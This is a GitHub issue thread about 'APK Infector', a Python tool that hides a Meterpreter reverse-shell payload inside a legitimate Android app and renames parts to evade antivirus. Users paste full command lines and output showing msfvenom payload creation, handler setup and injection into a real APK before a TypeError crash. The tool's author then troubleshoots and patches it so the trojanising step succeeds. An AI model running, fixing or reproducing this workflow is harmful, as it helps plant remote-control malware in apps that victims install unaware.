Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

TypeError: a bytes-like object is required, not 'str' #2

Open
MR-AMDEV opened this issue Apr 28, 2020 · 6 comments
Open

TypeError: a bytes-like object is required, not 'str' #2

MR-AMDEV opened this issue Apr 28, 2020 · 6 comments

Comments

@MR-AMDEV
Copy link

root@kali:~/Downloads/apkinfector# python3 infector.py --lhost 192.168.10.11 --lport 3322 --apk-name new_apk.apk --normal-apk /root/Desktop/lite.apk                                                 
╔─────────────────────────────────────────────────────────╗                                        
|    APK Infector - Advanced Android AV Evasion TOOL      |                                        
|      Please do not upload APK to VirusTotal.com         |                                        
┖─────────────────────────────────────────────────────────┙                                        
                                                                                                   
                  .           .                                                                    
                  M.          .M                                                                   
                   MMMMMMMMMMM.                                                                    
                .MMM\MMMMMMM/MMM.                                                                  
               .MMM.7MMMMMMM.7MMM.                                                                 
              .MMMMMMMMMMMMMMMMMMM                                                                 
              MMMMMMM.......MMMMMMM                                                                
              MMMMMMMMMMMMMMMMMMMMM                                                                
         MMMM MMMMMMMMMMMMMMMMMMMMM MMMM                                                           
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
         MMM8 MMMMMMMMMMMMMMMMMMMMM 8MMM                                                           
              MMMMMMMMMMMMMMMMMMMMM                                                                
              MMMMMMMMMMMMMMMMMMMMM                                                                
                  MMMMM   MMMMM        APK Infector v1.0                                           
                  MMMMM   MMMMM        Written In Python3                                          
                  MMMMM   MMMMM                                                                    
                  MMMMM   MMMMM                                                                    
                  .MMM.   .MMM.                                                                    
                                                                                                   
╔──────────────────────────────────────────────────────────╗                                       
| [ Author  ] Pushpender Singh                             |                                       
| [ GitHub  ] https://github.com/Technowlogy-Pushpender    |                                       
| [ YouTube ] youtube.com/channel/UCRv-wp0CWtW2J33NkTId62w |                                       
┖──────────────────────────────────────────────────────────┙                                       
                                                                                                   
╔──────────────────────────────────────────────────────────╗                                       
|     DISCLAIMER : Illegal Use is Stricly Prohibited       |                                       
┖──────────────────────────────────────────────────────────┙                                       
                                                                                                   
                                                                                                   
                                                                                                   
[*] Generating Random Variables which will be used in Ofustication                                 
[+] Generated Successfully!                                                                        
                                                                                                   
[*] Checking for Dependencies                                                                      
================================                                                                   
                                                                                                   
[:] NOTE : Jarsigner or APKsigner is used to Sign APK, One of them must be installed on your System
                                                                                                   
[*] Checking : APKTool                                                                             
[+] APKTool - OK                                                                                   
                                                                                                   
[*] Checking : Jarsigner                                                                           
[+] Jarsigner - OK                                                                                 
                                                                                                   
[*] Checking : APKsigner                                                                           
[+] APKsigner - OK                                                                                 
                                                                                                   
[*] Checking : ZipAlign                                                                            
[+] ZipAlign - OK                                                                                  
                                                                                                   
    ====================================                                                           
    [*] Available Types of Payload                                                                 
    ====================================                                                           
    (1) android/meterpreter/reverse_tcp                                                            
    (2) android/meterpreter/reverse_http                                                           
    (3) android/meterpreter/reverse_https                                                          
                                                                                                   
[?] Which Type of Payload, You Want to Create (1/2/3): 1                                           
                                                                                                   
[*] Creating Android Payload Using msfvenom                                                        
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload             
[-] No arch selected, selecting arch: dalvik from the payload                                      
No encoder or badchars specified, outputting raw payload                                           
Payload size: 10187 bytes                                                                          
                                                                                                   
[+] Payload Created Successfully !                                                                 
                                                                                                   
[?] Want to Create msfconsole handler.rc file (y/n): y                                             
                                                                                                   
[*] Creating handler.rc                                                                            
[+] Created Successfully : /root/Downloads/apkinfector/handler.rc                                  
                                                                                                   
[*] Decompiling Normal/Legitimate APK                                                              
=============================================                                                      
Destination directory (/root/Downloads/apkinfector/normal_apk) already exists. Use -f switch if you want to overwrite it.                                                                             
[!] Failed to Decompile Normal/Legitimate APK                                                      
                                                                                                   
[*] Decompiling Android Payload                                                                    
=============================================                                                      
I: Using Apktool 2.4.1 on android_payload.apk                                                      
I: Loading resource table...                                                                       
I: Decoding AndroidManifest.xml with resources...                                                  
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk                    
I: Regular manifest package...                                                                     
I: Decoding file-resources...                                                                      
I: Decoding values */* XMLs...                                                                     
I: Baksmaling classes.dex...                                                                       
I: Copying assets and libs...                                                                      
I: Copying unknown files...                                                                        
I: Copying original files...                                                                       
[!] Failed to Decompile Evil APK                                                                   
                                                                                                   
[*] Changing default folder and filenames being flagged by AV                                      
[+] Changed Successfully!                                                                          
                                                                                                   
[*] Moving Meterpreter Payload to Normal/Legitimate APK                                            
[+] Moved Successfully!                                                                            
                                                                                                   
[*] Trying to Find .smali File of Launcher                                                         
[+] Finded .smali launcher : b''                                                                   
Traceback (most recent call last):                                                                 
  File "infector.py", line 308, in <module>                                                        
    hook_meterpreter_in_apk(VAR1, VAR2, VAR3)                                                      
  File "infector.py", line 174, in hook_meterpreter_in_apk                                         
    launcherActivity = launcherActivity.replace('.', '/')  # Ex:- Changing zl.com.river_iq.RiverIQ  TO zl/com/river_iq/RiverIQ                                                                        
TypeError: a bytes-like object is required, not 'str'    
@PushpenderIndia
Copy link
Owner

[*] Decompiling Normal/Legitimate APK                                                              
=============================================                                                      
Destination directory (/root/Downloads/apkinfector/normal_apk) already exists. Use -f switch if you want to overwrite it.                                                                             
[!] Failed to Decompile Normal/Legitimate APK 

See this error, you have to remove the normal_apk directory, as the directory already exist, it failed to decompile the normal apk, due to which you get this error

Anyway, I am going to update the project, so that it delete the junk folder on each execution

@PushpenderIndia
Copy link
Owner

Check It Now, Whether it works fine or not

@MR-AMDEV
Copy link
Author

Ok lets me check it i ll be back soon

@MR-AMDEV
Copy link
Author

Now the directory issue is solved although the problem remains the same:(used the updated git repo)


root@kali:~/Downloads/apkinfector# python3 infector.py --lhost 192.168.10.11 --lport 4555 --apk-name lite_payload --normal-apk /root/Desktop/lite.apk                                                 
╔─────────────────────────────────────────────────────────╗                                        
|    APK Infector - Advanced Android AV Evasion TOOL      |                                        
|      Please do not upload APK to VirusTotal.com         |                                        
┖─────────────────────────────────────────────────────────┙                                        
                                                                                                   
                  .           .                                                                    
                  M.          .M                                                                   
                   MMMMMMMMMMM.                                                                    
                .MMM\MMMMMMM/MMM.                                                                  
               .MMM.7MMMMMMM.7MMM.                                                                 
              .MMMMMMMMMMMMMMMMMMM                                                                 
              MMMMMMM.......MMMMMMM                                                                
              MMMMMMMMMMMMMMMMMMMMM                                                                
         MMMM MMMMMMMMMMMMMMMMMMMMM MMMM                                                           
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
         MMM8 MMMMMMMMMMMMMMMMMMMMM 8MMM                                                           
              MMMMMMMMMMMMMMMMMMMMM                                                                
              MMMMMMMMMMMMMMMMMMMMM                                                                
                  MMMMM   MMMMM        APK Infector v1.0                                           
                  MMMMM   MMMMM        Written In Python3                                          
                  MMMMM   MMMMM                                                                    
                  MMMMM   MMMMM                                                                    
                  .MMM.   .MMM.                                                                    
                                                                                                   
╔──────────────────────────────────────────────────────────╗                                       
| [ Author  ] Pushpender Singh                             |                                       
| [ GitHub  ] https://github.com/Technowlogy-Pushpender    |                                       
| [ YouTube ] youtube.com/channel/UCRv-wp0CWtW2J33NkTId62w |                                       
┖──────────────────────────────────────────────────────────┙                                       
                                                                                                   
╔──────────────────────────────────────────────────────────╗                                       
|     DISCLAIMER : Illegal Use is Stricly Prohibited       |                                       
┖──────────────────────────────────────────────────────────┙                                       
                                                                                                   
                                                                                                   
                                                                                                   
[*] Generating Random Variables which will be used in Ofustication                                 
[+] Generated Successfully!                                                                        
                                                                                                   
[*] Checking for Dependencies                                                                      
================================                                                                   
                                                                                                   
[:] NOTE : Jarsigner or APKsigner is used to Sign APK, One of them must be installed on your System
                                                                                                   
[*] Checking : APKTool                                                                             
[+] APKTool - OK                                                                                   
                                                                                                   
[*] Checking : Jarsigner                                                                           
[+] Jarsigner - OK                                                                                 
                                                                                                   
[*] Checking : APKsigner                                                                           
[+] APKsigner - OK                                                                                 
                                                                                                   
[*] Checking : ZipAlign                                                                            
[+] ZipAlign - OK                                                                                  
                                                                                                   
    ====================================                                                           
    [*] Available Types of Payload                                                                 
    ====================================                                                           
    (1) android/meterpreter/reverse_tcp                                                            
    (2) android/meterpreter/reverse_http                                                           
    (3) android/meterpreter/reverse_https                                                          
                                                                                                   
[?] Which Type of Payload, You Want to Create (1/2/3): 1                                           
                                                                                                   
[*] Creating Android Payload Using msfvenom                                                        
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload             
[-] No arch selected, selecting arch: dalvik from the payload                                      
No encoder or badchars specified, outputting raw payload                                           
Payload size: 10187 bytes                                                                          
                                                                                                   
[+] Payload Created Successfully !                                                                 
                                                                                                   
[?] Want to Create msfconsole handler.rc file (y/n): y                                             
                                                                                                   
[*] Creating handler.rc                                                                            
[+] Created Successfully : /root/Downloads/apkinfector/handler.rc                                  
                                                                                                   
[*] Decompiling Normal/Legitimate APK                                                              
=============================================                                                      
I: Using Apktool 2.4.1 on lite.apk                                                                 
I: Loading resource table...                                                                       
I: Decoding AndroidManifest.xml with resources...                                                  
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk                    
I: Regular manifest package...                                                                     
I: Decoding file-resources...                                                                      
I: Decoding values */* XMLs...                                                                     
I: Baksmaling classes.dex...                                                                       
I: Copying assets and libs...                                                                      
I: Copying unknown files...                                                                        
I: Copying original files...                                                                       
[+] Decompiled Successfully !                                                                      
                                                                                                   
[*] Decompiling Android Payload                                                                    
=============================================                                                      
I: Using Apktool 2.4.1 on android_payload.apk                                                      
I: Loading resource table...                                                                       
I: Decoding AndroidManifest.xml with resources...                                                  
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk                    
I: Regular manifest package...                                                                     
I: Decoding file-resources...                                                                      
I: Decoding values */* XMLs...                                                                     
I: Baksmaling classes.dex...                                                                       
I: Copying assets and libs...                                                                      
I: Copying unknown files...                                                                        
I: Copying original files...                                                                       
[+] Decompiled Successfully !                                                                      
                                                                                                   
[*] Changing default folder and filenames being flagged by AV                                      
[+] Changed Successfully!                                                                          
                                                                                                   
[*] Moving Meterpreter Payload to Normal/Legitimate APK                                            
[+] Moved Successfully!                                                                            
                                                                                                   
[*] Trying to Find .smali File of Launcher
[+] Finded .smali launcher : b''                                                                   
Traceback (most recent call last):                                                                 
  File "infector.py", line 315, in <module>                                                        
    hook_meterpreter_in_apk(VAR1, VAR2, VAR3)                                                      
  File "infector.py", line 181, in hook_meterpreter_in_apk                                         
    launcherActivity = launcherActivity.replace('.', '/')  # Ex:- Changing zl.com.river_iq.RiverIQ  TO zl/com/river_iq/RiverIQ                                                                        
TypeError: a bytes-like object is required, not 'str'

@Fabxx
Copy link

Fabxx commented May 22, 2020

Same problem for me

@PushpenderIndia
Copy link
Owner

Same problem for me

I think the program is unable to find the hooking path using default grep command from AndroidManifest.xml.

Due to which you are getting this error, I have done some minor modification, please try it now.

This time apkinfector will hopefully ask you the hook path (such as zl.com.river_iq.RiverIQ) if it unable to find it on its own

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants